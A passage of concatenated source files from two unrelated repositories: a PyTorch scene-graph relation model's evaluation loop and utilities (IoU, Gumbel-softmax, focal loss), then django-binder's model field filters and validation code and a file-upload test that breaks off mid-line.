{:.4f}'.format(zs_recall_50, zs_recall_100), file=log) print('recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100)) print('[zs] recall_50: {:.4f} recall_100: {:.4f}'.format(zs_recall_50, zs_recall_100)) return def eval_topk(roidb, test_loader, is_rela=False, k=100): t = time.time() loss_test = [] acc_test = [] model.eval() if args.mode == 'eval': model.load_state_dict(torch.load(best_model_file)) else: model.load_state_dict(torch.load(model_file)) if is_rela: num_nodes = args.rela_num_atoms num_edges = num_nodes * (num_nodes - 1) batch_size = args.eval_batch_size else: num_nodes = args.num_atoms num_edges = args.num_edges batch_size = args.batch_size pred_probs = np.zeros([len(test_loader.dataset), num_edges, k]) pred_cls = np.zeros([len(test_loader.dataset), num_edges, k]) + args.edge_types-1 pbar = tqdm(total = len(test_loader.dataset)) for batch_idx, (data, target, node_cls, edge_feats, rel_rec, rel_send, bbox_loc, prior) in enumerate(test_loader): if args.cuda: data, target, edge_feats = data.cuda(), target.cuda(), edge_feats.cuda() rel_rec, rel_send = rel_rec.cuda(), rel_send.cuda() node_cls, bbox_loc = node_cls.cuda(), bbox_loc.cuda() data = data[:, :, :].contiguous() with torch.no_grad(): output, _ = model(data, edge_feats, rel_rec, rel_send, bbox_loc) output = output.view(-1, args.edge_types) output = F.softmax(output, dim=-1) output = output.view(-1 , num_edges, args.edge_types) pred_prob, pred_cl = torch.topk(output, k, dim=-1, largest=True, sorted=True) if (batch_idx+1)*batch_size > len(test_loader.dataset): pred_probs[batch_idx*batch_size:] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:] = pred_cl.data.cpu().numpy() else: pred_probs[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_cl.data.cpu().numpy() pbar.update(batch_size) pbar.close() # print('--------Eval-----------------') if is_rela: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='rela', level='image', topk=True) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='rela', topk=True, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='rela', topk=True, dataset='vg') zs_recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=True, mode='rela', topk=True, dataset='vg') zs_recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=True, mode='rela', topk=True, dataset='vg') # np.savez(os.path.join(load_folder, 'topk_rela_roidb'), pred_roidb) print('[rela_eval_topk] recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100), file=log) print('[zs_rela_eval_topk] recall_50: {:.4f} recall_100: {:.4f}'.format(zs_recall_50, zs_recall_100), file=log) else: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='pred', level='image', topk=True) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='pred', topk=True, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='pred', topk=True, dataset='vg') zs_recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=True, mode='pred', topk=True, dataset='vg') zs_recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=True, mode='pred', topk=True, dataset='vg') # np.savez(os.path.join(load_folder, 'topk_pred_roidb'), pred_roidb) print('[pred_eval_topk] recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100), file=log) print('[zs_pred_eval_topk] recall_50: {:.4f} recall_100: {:.4f}'.format(zs_recall_50, zs_recall_100), file=log) print('recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100)) print('[zs] recall_50: {:.4f} recall_100: {:.4f}'.format(zs_recall_50, zs_recall_100)) return # Train model t_total = time.time() if args.mode == 'whole' or args.mode == 'train': best_val_accuracy = -1. best_epoch = 0 pbar = tqdm(total=args.epochs) for epoch in range(args.epochs): print('============= Epoch {} ==========='.format(epoch)) val_acc = train(epoch, best_val_accuracy) if val_acc > best_val_accuracy: best_val_accuracy = val_acc best_epoch = epoch # print('------------- pred --------------') # eval(test_roidb, test_loader, is_rela=False) # print('------------- pred topk--------------') # eval_topk(test_roidb, test_loader, is_rela=False) pbar.update(1) pbar.close() print("======Optimization Finished!======") print("Best Epoch: {:04d}".format(best_epoch)) if args.save_folder: print("Best Epoch: {:04d}".format(best_epoch), file=log) log.flush() print('------------- pred --------------') eval(test_roidb, test_loader, is_rela=False) print('------------- pred topk--------------') eval_topk(test_roidb, test_loader, is_rela=False) if log is not None: print(save_folder) log.close() print("Total time elapsed: {:.4f}s".format(time.time() - t_total)) elif args.mode == 'eval': print('------------- pred --------------') eval(test_roidb, test_loader, is_rela=False) print('------------- pred topk--------------') eval_topk(test_roidb, test_loader, is_rela=False) if log is not None: print(load_folder) log.close() print("Total time elapsed: {:.4f}s".format(time.time() - t_total)) --- FILE SEPARATOR --- from __future__ import print_function import numpy as np import os import ipdb import time from tqdm import tqdm import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable # def read_roidb(roidb_path): # '''python2''' # roidb_file = np.load(roidb_path) # key = roidb_file.keys()[0] # roidb_temp = roidb_file[key] # roidb = roidb_temp[()] # return roidb def compute_acc(output, target, ignored_index): ''' output : [N, N_cls] target : [N,]; GT category ignored_index: int; the category that does not count ''' pred = output.data.max(1, keepdim=True)[1] count_mask = (target < ignored_index) correct = (pred.eq(target.data.view_as(pred)) * count_mask.view(-1,1).data).cpu().sum() count = count_mask.data.cpu().sum() if count < 0.1: acc = 0 else: acc = correct.float()/count.float() return acc.item() def compute_iou_each(box1, box2): ''' function: calculate the iou based on the box ordinates box1: [x_min, y_min, x_max, y_max] ''' xA = max(box1[0], box2[0]) yA = max(box1[1], box2[1]) xB = min(box1[2], box2[2]) yB = min(box1[3], box2[3]) if xB<xA or yB<yA: IoU = 0 else: area_I = (xB - xA + 1) * (yB - yA + 1) area1 = (box1[2] - box1[0] + 1)*(box1[3] - box1[1] + 1) area2 = (box2[2] - box2[0] + 1)*(box2[3] - box2[1] + 1) IoU = area_I/float(area1 + area2 - area_I) return IoU def compute_distance(box1, box2): cx1 = (box1[0] + box1[2])/2.0 cy1 = (box1[1] + box1[3])/2.0 cx2 = (box2[0] + box2[2])/2.0 cy2 = (box2[1] + box2[3])/2.0 x_min = min(box1[0], box2[0]) y_min = min(box1[1], box2[1]) x_max = max(box1[2], box2[2]) y_max = max(box1[3], box2[3]) I = (cx1 - cx2)**2 + (cy1 - cy2)**2 U = (x_min - x_max)**2 + (y_min - y_max)**2 dis = np.sqrt(I/float(U)) return dis def get_box_feats(sub_box, obj_box): ''' box: [x_min, y_min, x_max, y_max] ''' def _center(box): x_c = (box[0] + box[2])/2.0 y_c = (box[1] + box[3])/2.0 w = box[2] - box[0] h = box[3] - box[1] return np.array([x_c, y_c, w, h]) def _union(box1, box2): x_min = min(box1[0], box2[0]) y_min = min(box1[1], box2[1]) x_max = max(box1[2], box2[2]) y_max = max(box1[3], box2[3]) return np.array([x_min, y_min, x_max, y_max]) def _six(c_sub_box, c_obj_box): t_x_so = (c_sub_box[0] - c_obj_box[0])/float(c_sub_box[2]) t_y_so = (c_sub_box[1] - c_obj_box[1])/float(c_sub_box[3]) t_w_so = np.log(c_sub_box[2]/float(c_obj_box[2])) t_h_so = np.log(c_sub_box[3]/float(c_obj_box[3])) t_x_os = (c_obj_box[0] - c_sub_box[0])/float(c_obj_box[2]) t_y_os = (c_obj_box[1] - c_sub_box[1])/float(c_obj_box[3]) return np.array([t_x_so, t_y_so, t_w_so, t_h_so, t_x_os, t_y_os]) p_box = _union(sub_box, obj_box) c_sub_box = _center(sub_box) c_obj_box = _center(obj_box) c_p_box = _center(p_box) six_so = _six(c_sub_box, c_obj_box) six_sp = _six(c_sub_box, c_p_box) six_op = _six(c_obj_box, c_p_box) iou = compute_iou_each(sub_box, obj_box) dis = compute_distance(sub_box, obj_box) iou_dis = np.array([iou, dis]) output = np.concatenate([six_so, six_sp, six_op, iou_dis],0) return output def encode_onehot(labels): classes = set(labels) classes_dict = {c: np.identity(len(classes))[i, :] for i, c in enumerate(classes)} labels_onehot = np.array(list(map(classes_dict.get, labels)), dtype=np.int32) return labels_onehot def sample_gumbel(shape, eps=1e-10): """ NOTE: Stolen from https://github.com/pytorch/pytorch/pull/3341/commits/327fcfed4c44c62b208f750058d14d4dc1b9a9d3 Sample from Gumbel(0, 1) based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb , (MIT license) """ U = torch.rand(shape).float() return - torch.log(eps - torch.log(U + eps)) def gumbel_softmax_sample(logits, tau=1, eps=1e-10): """ NOTE: Stolen from https://github.com/pytorch/pytorch/pull/3341/commits/327fcfed4c44c62b208f750058d14d4dc1b9a9d3 Draw a sample from the Gumbel-Softmax distribution based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb (MIT license) """ gumbel_noise = sample_gumbel(logits.size(), eps=eps) if logits.is_cuda: gumbel_noise = gumbel_noise.cuda() y = logits + Variable(gumbel_noise) return my_softmax(y / tau, axis=-1) def gumbel_softmax(logits, tau=1, hard=False, eps=1e-10): """ NOTE: Stolen from https://github.com/pytorch/pytorch/pull/3341/commits/327fcfed4c44c62b208f750058d14d4dc1b9a9d3 Sample from the Gumbel-Softmax distribution and optionally discretize. Args: logits: [batch_size, n_class] unnormalized log-probs tau: non-negative scalar temperature hard: if True, take argmax, but differentiate w.r.t. soft sample y Returns: [batch_size, n_class] sample from the Gumbel-Softmax distribution. If hard=True, then the returned sample will be one-hot, otherwise it will be a probability distribution that sums to 1 across classes Constraints: - this implementation only works on batch_size x num_features tensor for now based on https://github.com/ericjang/gumbel-softmax/blob/3c8584924603869e90ca74ac20a6a03d99a91ef9/Categorical%20VAE.ipynb , (MIT license) """ y_soft = gumbel_softmax_sample(logits, tau=tau, eps=eps) if hard: shape = logits.size() _, k = y_soft.data.max(-1) # this bit is based on # https://discuss.pytorch.org/t/stop-gradients-for-st-gumbel-softmax/530/5 y_hard = torch.zeros(*shape) if y_soft.is_cuda: y_hard = y_hard.cuda() y_hard = y_hard.zero_().scatter_(-1, k.view(shape[:-1] + (1,)), 1.0) # this cool bit of code achieves two things: # - makes the output value exactly one-hot (since we add then # subtract y_soft value) # - makes the gradient equal to y_soft gradient (since we strip # all other gradients) y = Variable(y_hard - y_soft.data) + y_soft else: y = y_soft return y def read_roidb(roidb_path): ''' python3 ''' roidb_file = np.load(roidb_path, encoding='latin1') key = list(roidb_file.keys())[0] roidb_temp = roidb_file[key] roidb = roidb_temp[()] return roidb def box_id(ori_box, uni_box): ''' input: ori_box: the sub or obj box ordinates uni_box: the unique box ordinates output: the idx of the ori_box based on the unique box ''' idx = [] for i in range(len(ori_box)): for j in range(len(uni_box)): if np.array_equal(ori_box[i], uni_box[j]): idx.append(j) return idx def compute_iou_each(box1, box2): ''' function: calculate the iou based on the box ordinates box1: [x_min, y_min, x_max, y_max] ''' xA = max(box1[0], box2[0]) yA = max(box1[1], box2[1]) xB = min(box1[2], box2[2]) yB = min(box1[3], box2[3]) if xB<xA or yB<yA: IoU = 0 else: area_I = (xB - xA + 1) * (yB - yA + 1) area1 = (box1[2] - box1[0] + 1)*(box1[3] - box1[1] + 1) area2 = (box2[2] - box2[0] + 1)*(box2[3] - box2[1] + 1) IoU = area_I/float(area1 + area2 - area_I) return IoU def get_item(arr, idx, idy): out = np.zeros(len(idx)) for i in range(len(idx)): out[i] = arr[idx[i], idy[i]] return out def encode_onehot(labels): classes = set(labels) classes_dict = {c: np.identity(len(classes))[i, :] for i, c in enumerate(classes)} labels_onehot = np.array(list(map(classes_dict.get, labels)), dtype=np.int32) return labels_onehot def one_hot_embedding(labels, num_classes): '''Embedding labels to one-hot form. Args: labels: (LongTensor) class labels, sized [N,]. num_classes: (int) number of classes. Returns: (tensor) encoded labels, sized [N,#classes]. ''' y = torch.eye(num_classes) # [D,D] return y[labels] # [N,D] class FocalLoss(nn.Module): def __init__(self, num_classes=20, alpha=0.25, gamma=2): super(FocalLoss, self).__init__() self.num_classes = num_classes self.alpha = alpha self.gamma = gamma def forward(self, x, y): '''Focal loss. Args: x: (tensor) sized [N,D]. y: (tensor) sized [N,]. Return: (tensor) focal loss. ''' t = one_hot_embedding(y.data.cpu(), 1+self.num_classes) # [N,D] t = t[:,:self.num_classes] # exclude background t = Variable(t).cuda() # [N,D-1] x = x[:,:self.num_classes] p = F.softmax(x, dim=-1) pt = p*t + (1-p)*(1-t) # pt = p if t > 0 else 1-p w = self.alpha*t + (1-self.alpha)*(1-t) # w = alpha if t > 0 else 1-alpha w = w * (1-pt).pow(self.gamma) return F.binary_cross_entropy_with_logits(p.log(), t, w, reduction='none').sum(-1)
[ "/DataLoader.py", "/eval_metrics.py", "/modules.py", "/preprocess/ass_fun.py", "/preprocess/extract_vgg_feature.py", "/preprocess/process.py", "/preprocess/vgg.py", "/train_vg.py", "/utils.py" ]
00mjk/django-binder
import re import warnings from collections import defaultdict from datetime import date, datetime, time from contextlib import suppress from django.db import models from django.contrib.postgres.fields import CITextField, ArrayField, JSONField from django.db.models import signals from django.core.exceptions import ValidationError from django.db.models.query_utils import Q from django.utils import timezone from django.utils.dateparse import parse_date, parse_datetime from binder.json import jsonloads from binder.exceptions import BinderRequestError from . import history class CaseInsensitiveCharField(CITextField): def __init__(self, *args, **kwargs): warnings.warn(DeprecationWarning('CaseInsensitiveCharField is deprecated, use django.contrib.postgres.fields.CITextField instead')) return super().__init__(*args, **kwargs) class UpperCaseCharField(CITextField): def get_prep_value(self, value): value = super().get_prep_value(value) if value is None: return None return value.upper() class LowerCaseCharField(CITextField): def get_prep_value(self, value): value = super().get_prep_value(value) if value is None: return None return value.lower() class ChoiceEnum(object): def __init__(self, *args, **kwargs): self.items = kwargs for k in args: if k == '': self.items['NONE'] = '' else: self.items[re.sub('[ /+-]', '_', k).upper()] = k self.__dict__.update(self.items) def choices(self): return tuple(sorted((v, k) for k, v in self.items.items())) def name(self, value, default=None): if value is None: return default for k, v in self.items.items(): if v == value: return k raise ValueError() def __call__(self, **kwargs): return models.CharField( choices=self.choices(), max_length=max(map(len, self.items.values())), **kwargs ) class FieldFilter(object): # The classes that this filter applies to (should be mutually # exclusive with the other classes) fields = [] # The list of allowed qualifiers allowed_qualifiers = [] def __init__(self, field): self.field = field def field_description(self): return '{} {{{}}}.{{{}}}'.format(self.field.__class__.__name__, self.field.model.__name__, self.field.name) def clean_value(self, qualifier, v): raise ValueError('FieldFilter {} has not overridden the clean_value method'.format(self.__class__.name)) def check_qualifier(self, qualifier): if qualifier not in self.allowed_qualifiers: raise BinderRequestError('Qualifier {} not supported for type {} ({}).' .format(qualifier, self.__class__.__name__, self.field_description())) def get_q(self, qualifier, value, invert, partial=''): self.check_qualifier(qualifier) # TODO: Try to make the splitting and cleaning more re-usable if qualifier in ('in', 'range'): values = value.split(',') if qualifier == 'range': if len(values) != 2: raise BinderRequestError('Range requires exactly 2 values for {}.'.format(self.field_description())) else: values = [value] if qualifier == 'isnull': cleaned_value = True elif qualifier in ('in', 'range'): cleaned_value = [self.clean_value(qualifier, v) for v in values] else: try: cleaned_value = self.clean_value(qualifier, values[0]) except IndexError: raise ValidationError('Value for filter {{{}}}.{{{}}} may not be empty.'.format(self.field.model.__name__, self.field.name)) suffix = '__' + qualifier if qualifier else '' if invert: return ~Q(**{partial + self.field.name + suffix: cleaned_value}) else: return Q(**{partial + self.field.name + suffix: cleaned_value}) class IntegerFieldFilter(FieldFilter): fields = [ models.IntegerField, models.ForeignKey, models.AutoField, models.ManyToOneRel, models.ManyToManyField, models.ManyToManyRel, ] allowed_qualifiers = [None, 'in', 'gt', 'gte', 'lt', 'lte', 'range', 'isnull'] def clean_value(self, qualifier, v): try: return int(v) except ValueError: raise ValidationError('Invalid value {{{}}} for {}.'.format(v, self.field_description())) class FloatFieldFilter(FieldFilter): fields = [models.FloatField] allowed_qualifiers = [None, 'in', 'gt', 'gte', 'lt', 'lte', 'range', 'isnull'] def clean_value(self, qualifier, v): try: return float(v) except ValueError: raise ValidationError('Invalid value {{{}}} for {}.'.format(v, self.field_description())) class DateFieldFilter(FieldFilter): fields = [models.DateField] # Maybe allow __startswith? And __year etc? allowed_qualifiers = [None, 'in', 'gt', 'gte', 'lt', 'lte', 'range', 'isnull'] def clean_value(self, qualifier, v): if not re.match('^[0-9]{4}-[0-9]{2}-[0-9]{2}$', v): raise ValidationError('Invalid YYYY-MM-DD value {{{}}} for {}.'.format(v, self.field_description())) else: return parse_date(v) return v class DateTimeFieldFilter(FieldFilter): fields = [models.DateTimeField] # Maybe allow __startswith? And __year etc? allowed_qualifiers = [None, 'in', 'gt', 'gte', 'lt', 'lte', 'range', 'isnull'] def clean_value(self, qualifier, v): if re.match('^[0-9]{4}-[0-9]{2}-[0-9]{2}[T ][0-9]{2}:[0-9]{2}:[0-9]{2}([.][0-9]+)?([A-Za-z]+|[+-][0-9]{1,4})$', v): return parse_datetime(v) if re.match('^[0-9]{4}-[0-9]{2}-[0-9]{2}$', v): return parse_date(v) else: raise ValidationError('Invalid YYYY-MM-DD(.mmm)ZONE value {{{}}} for {}.'.format(v, self.field_description())) return v def get_q(self, qualifier, value, invert, partial=''): self.check_qualifier(qualifier) # TODO: Try to make the splitting and cleaning more re-usable if qualifier in ('in', 'range'): values = value.split(',') if qualifier == 'range': if len(values) != 2: raise BinderRequestError('Range requires exactly 2 values for {}.'.format(self.field_description())) else: values = [value] if qualifier == 'isnull': cleaned_value = True elif qualifier in ('in', 'range'): cleaned_value = [self.clean_value(qualifier, v) for v in values] types = {type(v) for v in cleaned_value} if len(types) != 1: raise ValidationError('Values for filter {{{}}}.{{{}}} must be the same types.'.format(self.field.model.__name__, self.field.name)) if isinstance(cleaned_value[0], date) and not isinstance(cleaned_value[0], datetime): qualifier = 'date__' + qualifier else: try: cleaned_value = self.clean_value(qualifier, values[0]) if isinstance(cleaned_value, date) and not isinstance(cleaned_value, datetime): qualifier = 'date__' + qualifier if qualifier else 'date' except IndexError: raise ValidationError('Value for filter {{{}}}.{{{}}} may not be empty.'.format(self.field.model.__name__, self.field.name)) suffix = '__' + qualifier if qualifier else '' if invert: return ~Q(**{partial + self.field.name + suffix: cleaned_value}) else: return Q(**{partial + self.field.name + suffix: cleaned_value}) class TimeFieldFilter(FieldFilter): fields = [models.TimeField] # Maybe allow __startswith? And __year etc? allowed_qualifiers = [None, 'in', 'gt', 'gte', 'lt', 'lte', 'range', 'isnull'] time_re = re.compile(r'^(\d{2}):(\d{2}):(\d{2})(?:\.(\d+))?(Z|[+-]\d{2}(?:\d{2})?)$') def clean_value(self, qualifier, v): # Match value match = self.time_re.match(v) if not match: raise ValidationError('Invalid HH:MM:SS(.mmm) value {{{}}} for {}.'.format(v, self.field_description())) # Get values hour, minute, second, microsecond, tzinfo = match.groups() hour = int(hour) minute = int(minute) second = int(second) microsecond = int((microsecond or '').ljust(6, '0')) if tzinfo == 'Z': tzinfo = timezone.utc else: tzinfo = tzinfo.ljust(5, '0') offset = int(tzinfo[1:3]) * 60 + int(tzinfo[3:5]) if tzinfo.startswith('-'): offset = -offset tzinfo = timezone.get_fixed_timezone(offset) # Create time object return time( hour=hour, minute=minute, second=second, microsecond=microsecond, tzinfo=tzinfo, ) class BooleanFieldFilter(FieldFilter): fields = [models.BooleanField] allowed_qualifiers = [None] def clean_value(self, qualifier, v): if v == 'true': return True elif v == 'false': return False else: raise ValidationError('Invalid value {{{}}} for {}.'.format(v, self.field_description())) class TextFieldFilter(FieldFilter): fields = [models.CharField, models.TextField] allowed_qualifiers = [None, 'in', 'iexact', 'contains', 'icontains', 'startswith', 'istartswith', 'endswith', 'iendswith', 'exact', 'isnull'] # Always valid(?) def clean_value(self, qualifier, v): return v class UUIDFieldFilter(FieldFilter): fields = [models.UUIDField] allowed_qualifiers = [None, 'in', 'iexact', 'contains', 'icontains', 'startswith', 'istartswith', 'endswith', 'iendswith', 'exact'] # Always valid; when using "contains" this doesn't need to be # an actually formatted uuid. def clean_value(self, qualifier, v): return v class ArrayFieldFilter(FieldFilter): fields = [ArrayField] allowed_qualifiers = [None, 'contains', 'contained_by', 'overlap', 'isnull'] # Some copy/pasta involved.... def get_field_filter(self, field_class, reset=False): f = not reset and getattr(self, '_field_filter', None) if not f: f = None for field_filter_cls in FieldFilter.__subclasses__(): for field_cls in field_filter_cls.fields: if field_cls == field_class: f = field_filter_cls break self._field_filter = f return f def clean_value(self, qualifier, v): Filter = self.get_field_filter(self.field.base_field.__class__) filter = Filter(self.field.base_field) if v == '': # Special case: This should represent the empty array, not an array with one empty string return [] else: values = v.split(',') return list(map(lambda v: filter.clean_value(qualifier, v), values)) class JSONFieldFilter(FieldFilter): fields = [JSONField] # TODO: Element or path-based lookup is not supported yet allowed_qualifiers = [None, 'contains', 'contained_by', 'has_key', 'has_any_keys', 'has_keys', 'isnull'] def clean_value(self, qualifier, v): if qualifier == 'has_key': return v elif qualifier in ('has_keys', 'has_any_keys'): if v == '': return [] else: return v.split(',') else: # Use bytes to allow decode() to work. We don't just # json.loads because we want to behave identically to # any other Binder JSON decode when there are errors. return jsonloads(bytes(v, 'utf-8')) class BinderModelBase(models.base.ModelBase): def __new__(cls, name, bases, attrs): # Verify that any Foo(BinderModel).Meta descends from BinderModel.Meta. Django messes # around with Meta a lot in its metaclass, to the point where we can no longer check this. # So we have to inject our own metaclass.__new__ to find this. See #96 # Bonus points: this way we throw all these warnings at startup. # NameError: happens when name='BinderModel' -> ignore # KeyError: happens when Foo doesn't declare Meta -> ignore with suppress(NameError, KeyError): if not issubclass(attrs['Meta'], BinderModel.Meta): warnings.warn(RuntimeWarning('{}.{}.Meta does not descend from BinderModel.Meta'.format(attrs.get('__module__'), name))) return super().__new__(cls, name, bases, attrs) class BinderModel(models.Model, metaclass=BinderModelBase): def binder_concrete_fields_as_dict(self, skip_deferred_fields=False): fields = {} deferred_fields = self.get_deferred_fields() for field in [f for f in self._meta.get_fields() if f.concrete and not f.many_to_many]: if skip_deferred_fields and field.attname in deferred_fields: continue elif isinstance(field, models.ForeignKey): fields[field.name] = getattr(self, field.name + '_id') elif isinstance(field, models.FileField): fields[field.name] = str(getattr(self, field.name)) else: fields[field.name] = getattr(self, field.name) return fields def binder_serialize_m2m_field(self, field): if isinstance(field, str): field = getattr(self, field) try: extended_m2m = field.through.binder_is_binder_model except AttributeError: extended_m2m = False # Regular many to many; get a list of the target ids. if not extended_m2m: return set(field.values_list('id', flat=True)) # Extended m2m; get dicts of the intermediary join table objects data = list(field.through.objects.filter(**{field.source_field.name: self.id}).values()) # Then, modify them to leave out the PKs and source ids. Also, rename target ids to 'id'. for d in data: d.pop('id') d.pop(field.source_field.name + '_id') d['id'] = d.pop(field.target_field.name + '_id') return set(sorted(d.items()) for d in data) binder_is_binder_model = True class Binder: history = False class Meta: abstract = True ordering = ['pk'] def save(self, *args, **kwargs): self.full_clean() # Never allow saving invalid models! return super().save(*args, **kwargs) # This can be overridden in your model when there are special # validation rules like partial indexes that may need to be # recomputed when other fields change. def field_requires_clean_validation(self, field): return self.field_changed(field) def full_clean(self, exclude=None, *args, **kwargs): # Determine if the field needs an extra nullability check. # Expects the field object (not the field name) def field_needs_nullability_check(field): if isinstance(field, (models.CharField, models.TextField, models.BooleanField)): if field.blank and not field.null: return True return False # Gather unchanged fields if LoadedValues mixin available, to # avoid querying uniqueness constraints for unchanged # relations (an useful performance optimization). if hasattr(self, 'field_changed'): exclude = set(exclude) if exclude else set() for f in self.binder_concrete_fields_as_dict(skip_deferred_fields=True): if not self.field_requires_clean_validation(f): exclude.add(f) validation_errors = defaultdict(list) try: res = super().full_clean(exclude=exclude, *args, **kwargs) except ValidationError as ve: if hasattr(ve, 'error_dict'): for key, value in ve.error_dict.items(): validation_errors[key] += value elif hasattr(ve, 'error_list'): for e in ve.error_list: validation_errors['null'].append(e) # XXX # Django's standard full_clean() doesn't complain about some # not-NULL fields being None. This causes save() to explode # with a django.db.IntegrityError because the column is NOT # NULL. Tyvm, Django. So we perform an extra NULL check for # some cases. See #66, T2989, T9646. for f in self._meta.fields: if field_needs_nullability_check(f): # gettattr on a foreignkey foo gets the related model, while foo_id just gets the id. # We don't need or want the model (nor the DB query), we'll take the id thankyouverymuch. name = f.name + ('_id' if isinstance(f, models.ForeignKey) else '') if getattr(self, name) is None and getattr(self, f.name) is None: validation_errors[f.name].append(ValidationError( 'This field cannot be null.', code='null', )) if validation_errors: raise ValidationError(validation_errors) else: return res def history_obj_post_init(sender, instance, **kwargs): instance._history = instance.binder_concrete_fields_as_dict(skip_deferred_fields=True) if not instance.pk: instance._history = {k: history.NewInstanceField for k in instance._history} def history_obj_post_save(sender, instance, **kwargs): for field_name, new_value in instance.binder_concrete_fields_as_dict().items(): try: old_value = instance._history[field_name] if old_value != new_value: history.change(sender, instance.pk, field_name, old_value, new_value) instance._history[field_name] = new_value except KeyError: # Unfetched field (using only(...)), we don't know if it's # been changed... pass def history_obj_post_delete(sender, instance, **kwargs): history.change(sender, instance.pk, 'pk', instance.pk, None) def history_obj_m2m_changed(sender, instance, action, reverse, model, pk_set, **kwargs): if reverse or action not in ('pre_add', 'pre_remove', 'pre_clear'): return # Find the corresponding field on the instance field = [f for f in instance._meta.get_fields() if f.concrete and f.many_to_many and f.remote_field.through == sender][0] history.change(instance.__class__, instance.id, field.name, history.DeferredM2M, history.DeferredM2M) # FIXME: remove def install_m2m_signal_handlers(model): warnings.warn(DeprecationWarning('install_m2m_signal_handlers() is deprecated, call install_history_signal_handlers() instead!')) install_history_signal_handlers(model) def install_history_signal_handlers(model): if model is None: return if not model.Meta.abstract and model.Binder.history: signals.post_init.connect(history_obj_post_init, model) signals.post_save.connect(history_obj_post_save, model) signals.post_delete.connect(history_obj_post_delete, model) for field in model._meta.get_fields(): if field.many_to_many and field.concrete: signals.m2m_changed.connect(history_obj_m2m_changed, getattr(model, field.name).through) for sub in model.__subclasses__(): install_history_signal_handlers(sub) class ContextAnnotation: def __init__(self, func): self._func = func def get(self, request): return self._func(request) class OptionalAnnotation: def __init__(self, expr): self._expr = expr def get(self, request): if isinstance(self._expr, ContextAnnotation): return self._expr.get(request) else: return self._expr --- FILE SEPARATOR --- import json from os import urandom from PIL import Image from tempfile import NamedTemporaryFile from django.test import TestCase, Client import mimetypes from binder.json import jsonloads from django.core.files import File from django.contrib.auth.models import User from .testapp.models import Animal, Zoo def image(width, height): return Image.frombytes('RGB', (width, height), urandom(width * height * 3)) IMG_SUFFIX = { 'jpeg': '.jpg', 'png': '.png', } def temp_imagefile(width, height, format): i = image(width, height) f = NamedTemporaryFile(suffix=IMG_SUFFIX[format]) i.save(f, format) f.seek(0) return f class FileUploadTest(TestCase): def setUp(self): super().setUp() u = User(username='testuser', is_active=True, is_superuser=True) u.set_password('test') u.save() self.client = Client() r = self.client.login(username='testuser', password='test') self.assertTrue(r) # Clean up uploaded files def tearDown(self): Zoo.objects.all().delete() def test_get_model_with_file(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') with temp_imagefile(100, 200, 'jpeg') as file: emmen.floor_plan.save('plan.jpg', File(file), save=False) emmen.save() response = self.client.get('/zoo/%d/' % emmen.id) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(emmen.id, result['data']['id']) self.assertEqual(emmen.name, result['data']['name'], 'Wildlands Adventure Zoo Emmen') self.assertEqual('/zoo/%d/floor_plan/' % emmen.id, result['data']['floor_plan']) # This is a basic regression test for a bug due to the router # singleton refactor, GET would crash if the model simply # _contained_ a file attribute. def test_get_related_model_with_file(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') with temp_imagefile(100, 200, 'jpeg') as file: emmen.floor_plan.save('plan.jpg', File(file), save=False) emmen.save() donald = Animal(name='Donald Duck', zoo=emmen) donald.save() response = self.client.get('/animal/%d/' % donald.id, data={'with': 'zoo'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(donald.id, result['data']['id']) self.assertEqual({'zoo': 'zoo'}, result['with_mapping']) self.assertEqual({'zoo': 'animals'}, result['with_related_name_mapping']) zoo = result['with']['zoo'][0] self.assertEqual(emmen.id, zoo['id']) self.assertEqual(emmen.name, zoo['name'], 'Wildlands Adventure Zoo Emmen') self.assertEqual('/zoo/%d/floor_plan/' % emmen.id, zoo['floor_plan']) # Same as above, but in multi-put's code path def test_multi_put_model_with_existing_file(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') with temp_imagefile(100, 200, 'jpeg') as file: emmen.floor_plan.save('plan.jpg', File(file), save=False) emmen.save() model_data = { 'data': [{ 'id': emmen.id, 'name': 'Wildlands!', }] } response = self.client.put('/zoo/', data=json.dumps(model_data), content_type='application/json') self.assertEqual(response.status_code, 200) def test_upload_to_file_field_stores_file(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') emmen.save() with temp_imagefile(100, 200, 'jpeg') as uploaded_file: response = self.client.post('/zoo/%s/floor_plan/' % emmen.id, data={'file': uploaded_file}) self.assertEqual(response.status_code, 200) emmen.refresh_from_db() uploaded_file.seek(0) self.assertTrue(emmen.floor_plan) with emmen.floor_plan.file as current_file: self.assertEqual(uploaded_file.read(), current_file.read()) # overwrite with new one with temp_imagefile(10, 20, 'jpeg') as replacement_file: response = self.client.post('/zoo/%s/floor_plan/' % emmen.id, data={'file': replacement_file}) self.assertEqual(response.status_code, 200) emmen.refresh_from_db() replacement_file.seek(0) self.assertTrue(emmen.floor_plan) with emmen.floor_plan.file as current_file: self.assertEqual(replacement_file.read(), 